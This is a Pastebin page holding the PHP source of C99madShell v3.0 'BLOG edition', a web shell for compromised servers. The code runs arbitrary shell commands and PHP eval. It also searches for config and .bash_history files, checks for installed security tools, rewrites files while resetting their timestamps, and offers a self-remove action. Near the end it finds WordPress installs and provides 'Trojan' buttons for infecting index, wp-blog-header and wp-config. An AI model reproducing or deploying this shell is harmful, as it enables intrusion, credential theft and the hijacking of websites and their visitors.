API tools faq
paste
EddieKidiw

!C99madShell v. 3.0 BLOG edition! Decode By Eddie kidiw

EddieKidiw
Dec 12th, 2015
230
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 66.22 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. ini_set('display_errors', 1);
  4. ini_set('display_startup_errors', 1);
  5. error_reporting(E_ALL);
  6. //@ignore_user_abort(TRUE);
  7. @set_time_limit(0);
  8. @set_magic_quotes_runtime(0);
  9. @ini_set('error_log',NULL);
  10. @ini_set('log_errors',0);
  11. @ini_set('max_execution_time',0);
  12.  
  13.  
  14. $login = ""; //Login
  15. $pass = "";  //Pass
  16. $md5_pass = ""; //If no pass then hash
  17. $allow_ext      = array('mysql','mysqli','ftp','curl','imap','sockets','mssql','sqlite');
  18. $allow_program  = array('gcc','cc','ld','php','perl','python','ruby','make','tar','nc','locate','suidperl','wget','get','fetch','links','lynx','curl','lwp-mirror','lwp-download');
  19. $allow_service  = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','tripwire','sxid','logcheck','logwatch');
  20. @ob_start();
  21. @ob_implicit_flush(0);
  22. function onphpshutdown()
  23. {
  24.  global $gzipencode,$ft;
  25.   $v = @ob_get_contents();
  26.   @ob_end_clean();
  27.   @ob_start("ob_gzHandler");
  28.   echo $v;
  29.   @ob_end_flush();
  30. }
  31.  
  32. function which($which) {
  33.     $locate = myshellexec('which '.$which);
  34.     if($locate) {
  35.         return $locate;
  36.     } else {
  37.         return false;
  38.     }
  39. }
  40.  
  41. function save_file($file, $content) {
  42.     global $win;
  43.     if(!file_exists($file)) {
  44.         return false;
  45.     }
  46.     clearstatcache();
  47.     $filetime = filemtime($file);
  48.     if(!is_writable($file)) {
  49.         $fileperm = substr(decoct(fileperms($file)), -4, 4);
  50.         @chmod($file, intval(0777,8));
  51.         if(!is_writable($file)) {
  52.             return false;
  53.         }
  54.     }
  55.     $handle = @fopen($file, 'w');
  56.     if($handle === FALSE) {
  57.         return false;
  58.     }
  59.     fwrite($handle, $content);
  60.     fclose($handle);
  61.     @touch($file, $filetime, $filetime);
  62.     if(isset($fileperm) && !empty($fileperm)) {
  63.         @chmod($file, intval($fileperm,8));
  64.     }
  65.     clearstatcache();
  66.     return true;
  67. }
  68. function c99shexit() {
  69.     onphpshutdown();
  70.     exit;
  71. }
  72. function RecursFile($dir) {
  73.     $files = array();
  74.     if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  75.         $dir .= DIRECTORY_SEPARATOR;
  76.     }
  77.     if(!file_exists($dir)) {
  78.         return false;
  79.     }
  80.     clearstatcache(); // ×èñòèì êåø
  81.     $realpath = getcwd(); // Ñîõðàíÿåì òåêóùèé ïóòü
  82.     $handle = @opendir($dir);
  83.     if(FALSE === $handle) {
  84.         return false;
  85.     }
  86.     chdir($dir);
  87.     while(FALSE !== ($file = readdir($handle))) {
  88.         if('.' != $file && '..' != $file ) {
  89.             if(is_dir($file)) {
  90.                 $recurs = RecursFile($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  91.                 if(is_array($recurs)) {
  92.                     $files = array_merge($files, $recurs);
  93.                 }
  94.             } elseif(is_file($file)) {
  95.                 $files[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file);
  96.             }
  97.         }
  98.     }
  99.     closedir($handle);
  100.     chdir($realpath); // Âîññòàíàâëèâàåì ïóòü
  101.     clearstatcache(); // ×èñòèì êåø
  102.     //sort($files);
  103.     return $files;
  104. }
  105.  
  106. /**
  107. * Ôóíêöèÿ ïîêàçûâàåò ðåêóðñèâíî âñå ïàïêè èç çàäàííîé.
  108. *
  109. */
  110. function RecursDir($dir) {
  111.     $dirs = array();
  112.  
  113.     if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  114.         $dir .= DIRECTORY_SEPARATOR;
  115.     }
  116.     if(!file_exists($dir)) {
  117.         return false;
  118.     }
  119.     clearstatcache(); // ×èñòèì êåø
  120.     $realpath = getcwd(); // Ñîõðàíÿåì òåêóùèé ïóòü
  121.     $handle = @opendir($dir);
  122.     if(FALSE === $handle) {
  123.         return false;
  124.     }
  125.     chdir($dir);
  126.     $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir);
  127.     while(FALSE !== ($file = readdir($handle))) {
  128.         if('.' != $file && '..' != $file ) {
  129.             if(is_dir($file)) {
  130.                 $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  131.                 $recurs = RecursDir($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  132.                 if(is_array($recurs)) {
  133.                     $dirs = array_merge($dirs, $recurs);
  134.                 }
  135.             }
  136.         }
  137.     }
  138.     closedir($handle);
  139.     chdir($realpath); // Âîññòàíàâëèâàåì ïóòü
  140.     clearstatcache(); // ×èñòèì êåø
  141.     $dirs = array_unique($dirs);
  142.     return $dirs;
  143. }
  144.  
  145. function setRecursPerm($dir, $perm) {
  146.     $good = 0;
  147.     $bad = 0;
  148.     $all = array_merge(RecursFile($dir), RecursDir($dir));
  149.     foreach($all as $file) {
  150.         if(@chmod($file, $perm)) {
  151.             $good++;
  152.         } else {
  153.             $bad++;
  154.         }
  155.     }
  156.     return $good.':'.$bad;
  157. }
  158.  
  159. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  160. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  161. $_REQUEST = array_merge($_COOKIE,$_POST);
  162. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  163. $shver = "3.0 BLOG edition";
  164. if (empty($surl)){
  165.     $surl = $_SERVER['PHP_SELF'];
  166. }
  167. $surl = htmlspecialchars($surl);
  168.  
  169. $timelimit = 0;
  170. $login_txt = "Admin area";
  171. $accessdeniedmess = "<a href=\"http://securityprobe.net\">c99madkibshell v.".$shver."</a>: access denied";
  172. $filestealth = TRUE;
  173. $curdir = "./";
  174. $tmpdir = "";
  175. $tmpdir_log = "./";
  176.  
  177. $sort_default = "0a";
  178. $sort_save = TRUE;
  179.  
  180.  
  181. $safemode_diskettes = array('a');
  182. $hexdump_lines = 8;
  183. $hexdump_rows = 24;
  184. $nixpwdperpage = 100;
  185.  
  186. if (!$win) {
  187.  $cmdaliases = array(
  188.   array("-----------------------------------------------------------", "ls -la"),
  189.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  190.   array("find config* files", "find / -type f -name \"config*\""),
  191.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  192.   array("find all writable folders and files", "find / -perm -2 -ls"),
  193.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  194.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  195.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  196.   array("show opened ports", "netstat -an | grep -i listen")
  197.  );
  198. } else {
  199.  $cmdaliases = array(
  200.   array("-----------------------------------------------------------", "dir"),
  201.   array("show opened ports", "netstat -an")
  202.  );
  203. }
  204.  
  205. $quicklaunch = array(
  206.  array("<b><hr>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
  207.  array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
  208.  array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
  209. );
  210.  
  211. $highlight_background = "#c0c0c0";
  212. $highlight_bg = "#FFFFFF";
  213. $highlight_comment = "#6A6A6A";
  214. $highlight_default = "#0000BB";
  215. $highlight_html = "#1300FF";
  216. $highlight_keyword = "#007700";
  217. $highlight_string = "#000000";
  218.  
  219. @$f = $_REQUEST["f"];
  220. @extract($_REQUEST["c99shcook"]);
  221.  
  222. if (!empty($login))
  223. {
  224.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  225.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  226.  {
  227.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  228.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  229.   header("HTTP/1.0 401 Unauthorized");
  230.   c99shexit($accessdeniedmess);
  231.  }
  232. }
  233.  
  234. if (isset($_POST['act'])) $act  = $_POST['act'];
  235. if (isset($_POST['d'])) $d    = urldecode($_POST['d']); else $d=getcwd();
  236. if (isset($_POST['sort'])) $sort = $_POST['sort'];
  237. if (isset($_POST['f'])) $f    = urldecode($_POST['f']);
  238. if (isset($_POST['ft'])) $ft   = $_POST['ft'];
  239. if (isset($_POST['grep'])) $grep = $_POST['grep'];
  240. if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
  241. if (isset($_POST['pid'])) $pid  = $_POST['pid'];
  242. if (isset($_POST['sig'])) $sig  = $_POST['sig'];
  243. if (isset($_POST['base64'])) $base64  = $_POST['base64'];
  244. if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
  245. if (isset($_POST['c'])) $c  = $_POST['c'];
  246. if (isset($_POST['white'])) $white  = $_POST['white'];
  247. if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];
  248.  
  249. $lastdir = @realpath(".");
  250. @chdir($curdir);
  251.  
  252.  
  253. $disablefunc = @ini_get("disable_functions");
  254. if (!empty($disablefunc))
  255. {
  256.  $disablefunc = str_replace(" ","",$disablefunc);
  257.  $disablefunc = explode(",",$disablefunc);
  258. } else {
  259.     $disablefunc = array();
  260. }
  261.  
  262. function str2mini($content,$len)
  263. {
  264.  if (strlen($content) > $len)
  265.  {
  266.   $len = ceil($len/2) - 2;
  267.   return substr($content, 0,$len)."...".substr($content,-$len);
  268.  }
  269.  else {return $content;}
  270. }
  271.  
  272. function listdir($start_dir='.') {
  273.   $files = array();
  274.   if (is_dir($start_dir)) {
  275.     $fh = opendir($start_dir);
  276.     while (($file = readdir($fh)) !== false) {
  277.       # loop through the files, skipping . and .., and recursing if necessary
  278.      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
  279.       $filepath = $start_dir . '/' . $file;
  280.       if ( is_dir($filepath) )
  281.         $files = array_merge($files, listdir($filepath));
  282.       else
  283.         array_push($files, $filepath);
  284.     }
  285.     closedir($fh);
  286.   } else {
  287.     # false if the function was called with an invalid non-directory argument
  288.    $files = false;
  289.   }
  290.  return $files;
  291. }
  292. function view_size($size)
  293. {
  294.  if (!is_numeric($size)) {return FALSE;}
  295.  else
  296.  {
  297.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  298.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  299.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  300.   else {$size = $size . " B";}
  301.   return $size;
  302.  }
  303. }
  304.  
  305. function fs_rmdir($d)
  306. {
  307.  $h = opendir($d);
  308.  while (($o = readdir($h)) !== FALSE)
  309.  {
  310.   if (($o != ".") and ($o != ".."))
  311.   {
  312.    if (!is_dir($d.$o)) {unlink($d.$o);}
  313.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  314.   }
  315.  }
  316.  closedir($h);
  317.  rmdir($d);
  318.  return !is_dir($d);
  319. }
  320.  
  321. function fs_rmobj($o)
  322. {
  323.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  324.  if (is_dir($o))
  325.  {
  326.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  327.   return fs_rmdir($o);
  328.  }
  329.  elseif (is_file($o)) {return unlink($o);}
  330.  else {return FALSE;}
  331. }
  332.  
  333.  
  334.  
  335. function myshellexec($cfe)
  336. {
  337.  $res = '';
  338.  if (!empty($cfe))
  339.  {
  340.   if(@function_exists('exec'))
  341.    {
  342.     @exec($cfe,$res);
  343.     $res = join("\n",$res);
  344.    }
  345.   elseif(@function_exists('shell_exec'))
  346.    {
  347.     $res = @shell_exec($cfe);
  348.    }
  349.   elseif(@function_exists('system'))
  350.    {
  351.     @ob_start();
  352.     @system($cfe);
  353.     $res = @ob_get_contents();
  354.     @ob_end_clean();
  355.    }
  356.   elseif(@function_exists('passthru'))
  357.    {
  358.     @ob_start();
  359.     @passthru($cfe);
  360.     $res = @ob_get_contents();
  361.     @ob_end_clean();
  362.    }
  363.   elseif(@is_resource($f = @popen($cfe,"r")))
  364.   {
  365.    $res = "";
  366.    if(@function_exists('fread') && @function_exists('feof')){
  367.     while(!@feof($f)) { $res .= @fread($f,1024); }
  368.    }else if(@function_exists('fgets') && @function_exists('feof')){
  369.     while(!@feof($f)) { $res .= @fgets($f,1024); }
  370.    }
  371.    @pclose($f);
  372.   }
  373.   elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  374.   {
  375.    $res = "";
  376.    if(@function_exists('fread') && @function_exists('feof')){
  377.     while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  378.    }else if(@function_exists('fgets') && @function_exists('feof')){
  379.     while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  380.    }
  381.    @proc_close($f);
  382.   }
  383.   elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
  384.    {
  385.     $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
  386.     $pid = @pcntl_fork();
  387.     if ($pid == -1) {
  388.      $res .= '[-] Could not children fork. c99shexit';
  389.     } else if ($pid) {
  390.          if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
  391.          else {$res .= '[-] Error. Command incorrect.';}
  392.     } else {
  393.          $cfe = array(" -e 'system(\"$cfe\")'");
  394.          if(@pcntl_exec('/usr/bin/perl',$cfe)) c99shexit(0);
  395.          if(@pcntl_exec('/usr/local/bin/perl',$cfe)) c99shexit(0);
  396.          die();
  397.     }
  398.    }
  399.  }
  400.  return $res;
  401. }
  402.  
  403.  
  404. function tabsort($a,$b)
  405. {
  406.     global $v;
  407.     return strnatcmp($a[$v], $b[$v]);
  408. }
  409.  
  410. function view_perms($mode)
  411. {
  412.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  413.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  414.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  415.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  416.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  417.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  418.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  419.  else {$type = "?";}
  420.  
  421.  $owner["read"] = ($mode & 00400)?"r":"-";
  422.  $owner["write"] = ($mode & 00200)?"w":"-";
  423.  $owner["execute"] = ($mode & 00100)?"x":"-";
  424.  $group["read"] = ($mode & 00040)?"r":"-";
  425.  $group["write"] = ($mode & 00020)?"w":"-";
  426.  $group["execute"] = ($mode & 00010)?"x":"-";
  427.  $world["read"] = ($mode & 00004)?"r":"-";
  428.  $world["write"] = ($mode & 00002)? "w":"-";
  429.  $world["execute"] = ($mode & 00001)?"x":"-";
  430.  
  431.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  432.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  433.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  434.  
  435.  return $type.join("",$owner).join("",$group).join("",$world);
  436. }
  437.  
  438. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  439. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  440. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  441. if (!function_exists("parse_perms"))
  442. {
  443. function parse_perms($mode)
  444. {
  445.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  446.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  447.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  448.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  449.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  450.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  451.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  452.  else {$t = "?";}
  453.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  454.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  455.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  456.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  457. }
  458. }
  459.  
  460. function parsesort($sort)
  461. {
  462.  $one = intval($sort);
  463.  $second = substr($sort,-1);
  464.  if ($second != "d") {$second = "a";}
  465.  return array($one,$second);
  466. }
  467.  
  468. function view_perms_color($o)
  469. {
  470.  if (!@is_readable($o)) {return "<font color=red>".view_perms(@fileperms($o))."</font>";}
  471.  elseif (!@is_writable($o)) {return "<font color=white>".view_perms(@fileperms($o))."</font>";}
  472.  else {return "<font color=green>".view_perms(@fileperms($o))."</font>";}
  473. }
  474.  
  475.  
  476.  
  477. function c99fsearch($d)
  478. {
  479.  global $found;
  480.  global $found_d;
  481.  global $found_f;
  482.  global $search_i_f;
  483.  global $search_i_d;
  484.  global $a;
  485.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  486.  $h = opendir($d);
  487.  while (($f = readdir($h)) !== FALSE)
  488.  {
  489.   if($f != "." && $f != "..")
  490.   {
  491.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  492.    if (is_dir($d.$f))
  493.    {
  494.     $search_i_d++;
  495.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  496.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  497.    }
  498.    else
  499.    {
  500.     $search_i_f++;
  501.     if ($bool)
  502.     {
  503.      if (!empty($a["text"]))
  504.      {
  505.       $r = @file_get_contents($d.$f);
  506.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  507.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  508.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  509.       else {$bool = strpos(" ".$r,$a["text"],1);}
  510.       if ($a["text_not"]) {$bool = !$bool;}
  511.       if ($bool) {$found[] = $d.$f; $found_f++;}
  512.      }
  513.      else {$found[] = $d.$f; $found_f++;}
  514.     }
  515.    }
  516.   }
  517.  }
  518.  closedir($h);
  519. }
  520. if(!isset($act)) {$act='';}
  521. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  522.  
  523. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  524. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  525. header("Cache-Control: no-store, no-cache, must-revalidate");
  526. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  527. header("Pragma: no-cache");
  528. if (empty($tmpdir))
  529. {
  530.  $tmpdir = ini_get("upload_tmp_dir");
  531.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  532. }
  533. $tmpdir = realpath($tmpdir);
  534. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  535. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  536. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  537. else {$tmpdir_logs = realpath($tmpdir_logs);}
  538. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  539. {
  540.  $safemode = TRUE;
  541.  $hsafemode = "<font color=red>ON (secure)</font>";
  542. }
  543. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  544. $v = @ini_get("open_basedir");
  545. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  546. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  547. $sort = @htmlspecialchars($sort);
  548. if (empty($sort)) {$sort = $sort_default;}
  549. $sort[1] = strtolower($sort[1]);
  550. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'',getenv("SERVER_SOFTWARE"));
  551. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  552. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  553. @ini_set("highlight.default",$highlight_default); //#0000BB
  554. @ini_set("highlight.html",$highlight_html); //#000000
  555. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  556. @ini_set("highlight.string",$highlight_string); //#DD0000
  557. if (!isset($actbox) || !is_array($actbox)) {$actbox = array();}
  558. $dspact = $act = htmlspecialchars($act);
  559. $disp_fullpath = $ls_arr = $notls = null;
  560. $ud = urlencode($d);
  561. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value='<?php if(isset($wp_path)) echo($wp_path);?>'><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr>
  562. <tr><td>
  563. <p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p>
  564. <p align="left"><b>System:&nbsp;<?php echo substr(php_uname(),0,90); ?></b>&nbsp;</p>
  565. <?php
  566. if(!$win && function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
  567.     echo('<p align="left"><b>User/Group:&nbsp;');
  568.     $groupinfo = posix_getgrgid(posix_getegid());
  569.     echo(get_current_user().'/'.$groupinfo['name']);
  570.     echo('</b>&nbsp;</p>');
  571. }
  572. ?>
  573. <p align="left"><b>Php version: <a href="#" onclick="document.todo.act.value='phpinfo';document.todo.submit();"><b><u><?php echo(phpversion()) ?></u></b></a>
  574. <p align="left"><b>Php modules:&nbsp;
  575. <?php
  576. $cur_ext = get_loaded_extensions();
  577. echo('<font title="'.implode(',', $cur_ext).'">');
  578. $intersect = array_intersect($allow_ext, $cur_ext);
  579. echo(implode(', ', $intersect));
  580. ?>
  581. </font></b>&nbsp;</p>
  582. <?php
  583. if($disablefunc) {
  584.     echo('<p align="left" style="color:red"><b>Disable functions:&nbsp;'.implode(', ', $disablefunc).'</b></p>');
  585. }
  586.  
  587. if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {
  588.     echo('<p align="left" style="color:red"><b>Mod Security:&nbsp;YES</b></p>');
  589. }
  590. if(!$win && $safemode === FALSE) {
  591.     $pro = array();
  592.     $ser = array();
  593.     foreach($allow_program as $program) {
  594.         if($locate = which($program)) {
  595.             $pro[] = '<font title="'.$locate.'">'.$program.'</font>';
  596.         }
  597.     }
  598.     foreach($allow_service as $service) {
  599.         if($locate = which($service)) {
  600.             $ser[] = '<font title="'.$locate.'">'.$service.'</font>';
  601.         }
  602.     }
  603.     if($pro) {
  604.         echo('<p align="left"><b>Install program:&nbsp;<font color="#00CCFF">'.implode(', ', $pro).'</font></b></p>');
  605.  
  606.     }
  607.     if($ser) {
  608.         echo('<p align="left"><b>Install service:&nbsp;'.implode(', ', $ser).'</b></p>');
  609.     }
  610. }
  611. ?>
  612. <p align="left"><b>Allow_url_fopen:&nbsp;<?php echo((@ini_get('allow_url_fopen'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
  613. <p align="left"><b>Allow_url_include:&nbsp;<?php echo((@ini_get('allow_url_include'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
  614. <p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p>
  615. <?php
  616. if(isset($wp_path)) {
  617.     if(valid_wp_path($wp_path)) {
  618.         draw_patch();
  619.         draw_trojan();
  620.     } else {
  621.         unset($wp_path);
  622.     }
  623. }
  624. if(!isset($wp_path)) {
  625.     $wp_path = found_wp();
  626.     if(valid_wp_path($wp_path)) {
  627.         draw_patch();
  628.         draw_trojan();
  629.     } else {
  630.         unset($wp_path);
  631.     }
  632. }
  633. if(!isset($wp_path)) {
  634.     echo('<p><font color=red>Wordpress Not Found! ');
  635.     echo('<input type=text id="wp_pat"><input type="submit" value="SET PATH" onclick="document.todo.act.value=\'ls\';document.todo.wp_path.value=document.getElementById(\'wp_pat\').value;document.todo.submit();"></p>');
  636.  
  637. }
  638. function draw_trojan() {
  639.     echo('<p><font color=green>Trojan: </font>
  640.     <input type="submit" id="index" value="index" style="font-size: 6pt;'.get_style('index').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'index\';document.todo.submit();"/>
  641.     <input type="submit" id="wp-blog-header" value="wp-blog-header" style="font-size: 6pt;'.get_style('wp-blog-header').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-blog-header\';document.todo.submit();"/>
  642.     <input type="submit" id="wp-config" value="wp-config" style="font-size: 6pt;'.get_style('wp-config').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-config\';document.todo.submit();"/>
